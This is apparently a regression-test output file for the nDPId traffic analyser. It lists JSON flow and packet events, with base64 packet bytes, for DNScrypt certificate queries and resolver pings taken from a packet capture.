+00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":55185,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":528,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111023,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQKekAuX4RrHIKAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":528,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":529,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":36335,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111084,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcKepAAH4Ra14KAAABa6o5Io3vAbsCCGeisy8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":529,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":36335,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":530,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":37287,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111148,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcKetAAH4Ra10KAAABa6o5IpGnAbsCCGeisy0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":530,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":37287,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":531,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":33143,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111157,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcKewgAH4Rh5wKAAABa6o5IoF3AbsGBDmjsywBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":531,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":33143,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":42141,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111164,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcKe0gAH4Rh5sKAAABa6o5IqSdAbsGBBZ5szABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":42141,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":533,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111169,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQKewAuX4RrG8KAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":533,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":534,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111181,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQKe0AuX4RrG4KAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":534,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00671{"flow_id":216,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":113592,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzDBAADcRvw8u48g3CgAAASD7wBkAwtmiFc+AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00677{"flow_id":217,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":210662,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzUAADQRYVNrqjkiCgAAAQG71GcAyMwVszGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00677{"flow_id":218,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":214290,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzYAADQRYVJrqjkiCgAAAQG715EAyMjusy6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00677{"flow_id":219,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":215427,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzoAADQRYU5rqjkiCgAAAQG7je8AyBKQsy+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00677{"flow_id":221,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":216191,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzgAADQRYVBrqjkiCgAAAQG7gXcAyB8LsyyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00677{"flow_id":220,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":216406,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzsAADQRYU1rqjkiCgAAAQG7kacAyA7asy2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00677{"flow_id":222,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":218321,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"ZmZmZmZmRERERERECABFAADcvzkAADQRYU9rqjkiCgAAAQG7pJ0AyPvgszCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":542,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":56988,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01105{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460375,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcPTRAAH4RwyoKAAABucF\/9N6cAbsCCPyL\/I8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 